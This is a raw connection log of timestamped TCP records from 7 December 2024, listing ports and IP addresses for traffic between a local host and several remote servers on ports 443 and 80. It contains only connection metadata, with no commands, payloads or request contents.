Dec 7, 2024 08:43:47.392766953 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.392766953 CET	49786	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.392777920 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.392786026 CET	443	49786	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.394210100 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.394232035 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.394298077 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395438910 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395468950 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.395536900 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395540953 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395562887 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.395740986 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395754099 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.395772934 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395904064 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.395916939 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.396004915 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.396018028 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.396581888 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.396601915 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.396672010 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.396784067 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.396800995 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.427947998 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.429687977 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.429704905 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.430135965 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.430141926 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.862219095 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.862288952 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.862423897 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.871104002 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.871114016 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.871125937 CET	49789	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.871130943 CET	443	49789	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.873887062 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.873929977 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:47.874037027 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.874305964 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:47.874320030 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:48.091247082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:48.095351934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:48.121196032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:48.240931034 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:48.560714006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:48.560786963 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:48.565335035 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:48.685091972 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:48.685177088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:48.685349941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:48.805108070 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:49.112514019 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.112724066 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.113392115 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.113410950 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.113419056 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.113428116 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.113898039 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.113904953 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.113917112 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.113922119 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.192025900 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.200401068 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.200426102 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.200916052 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.200922012 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.201926947 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.202528000 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.202548981 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.202881098 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.202884912 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.547600985 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.547667980 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.547746897 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.548319101 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.548345089 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.548362017 CET	49792	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.548367977 CET	443	49792	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.552166939 CET	49797	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.552194118 CET	443	49797	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.552392006 CET	49797	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.552606106 CET	49797	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.552620888 CET	443	49797	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.589365959 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.590081930 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.590095997 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.590574026 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.590581894 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.626713991 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.626732111 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.626775980 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.626799107 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.626854897 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.626853943 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.627213001 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.627232075 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.627243042 CET	49791	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.627245903 CET	49790	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.627252102 CET	443	49790	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.627269030 CET	443	49791	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.630399942 CET	49798	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.630426884 CET	443	49798	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.630549908 CET	49798	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.631561041 CET	49799	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.631572962 CET	443	49799	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.631644964 CET	49799	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.631700039 CET	49798	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.631711960 CET	443	49798	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.632011890 CET	49799	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.632021904 CET	443	49799	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.636683941 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.636734962 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.636796951 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.636965990 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.636981010 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.636991024 CET	49793	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.636996031 CET	443	49793	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.639292955 CET	49800	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.639327049 CET	443	49800	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:49.639408112 CET	49800	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.639581919 CET	49800	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:49.639590979 CET	443	49800	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.024902105 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.024977922 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.025058031 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:50.025454044 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:50.025470972 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.025484085 CET	49794	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:50.025489092 CET	443	49794	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.029038906 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:50.029067993 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.029167891 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:50.029512882 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:50.029522896 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:50.033873081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.033911943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.033992052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.034709930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.034771919 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.034782887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.034801006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.034822941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.034822941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.035861969 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.035882950 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.035893917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.035921097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.035938978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.036428928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.036484957 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.036545992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.036581039 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.153724909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.153800011 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.153851986 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.153901100 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.157876968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.157927990 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.167474985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.167516947 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.167541027 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.167566061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.227040052 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.227094889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.227175951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.231077909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.231134892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.231151104 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.231200933 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.239486933 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.239546061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.239554882 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.239603996 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.247931957 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.247992039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.248006105 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.248032093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.256300926 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.256361961 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.256382942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.256423950 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.264648914 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.264714956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.264725924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.264753103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.272972107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.273053885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.273065090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.273102045 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.281481981 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.281523943 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.281583071 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.289791107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.289851904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.289855957 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.289890051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.298221111 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.298269987 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.298356056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.298412085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.306114912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.306178093 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.400772095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.400834084 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.400903940 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.400939941 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.404597044 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.404674053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.419287920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.419373989 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.419429064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.419471025 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.421487093 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.421547890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.421668053 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.421807051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.425940990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.425998926 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.426038980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.426069975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.430526018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.430587053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.430650949 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.430689096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.434936047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.434981108 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.435026884 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.435060978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.439366102 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.439414978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.439526081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.439635992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.443830967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.443883896 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.443928003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.443960905 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.448323965 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.448374987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.448411942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.448468924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.452781916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.452841043 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.452882051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.452960014 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.457226992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.457281113 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.457345009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.457385063 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.461755037 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.461810112 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.461852074 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.461901903 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.466196060 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.466320038 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.466336012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.466361046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.470669031 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.470766068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.470838070 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.470885992 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.475121021 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.475177050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.475217104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.475256920 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.479669094 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.479717016 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.479773998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.479813099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.484069109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.484128952 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.484185934 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.484244108 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.488531113 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.488580942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.488652945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.488733053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.492980003 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.493035078 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.493077993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.493112087 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.497494936 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.497551918 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.497623920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.497678041 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.497678041 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.501986027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.502026081 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.502331018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.502384901 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.506417990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.506513119 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.592855930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.592890024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.592917919 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.592946053 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.594804049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.594870090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.594875097 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.594918966 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.598810911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.598877907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.611500025 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.611567020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.611774921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.611830950 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.612292051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.612354040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.612412930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.612462044 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.615796089 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.615942955 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.615969896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.616053104 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.619211912 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.619348049 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.619353056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.619401932 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.622689009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.622771978 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.622807026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.622850895 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.626027107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.626107931 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.626126051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.626162052 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.629296064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.629374027 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.629424095 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.629463911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.632541895 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.632602930 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.632648945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.632692099 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.635718107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.635766983 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.635817051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.635893106 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:50.638864994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:50.638977051 CET	80	49795	185.215.113.16	192.168.2.5
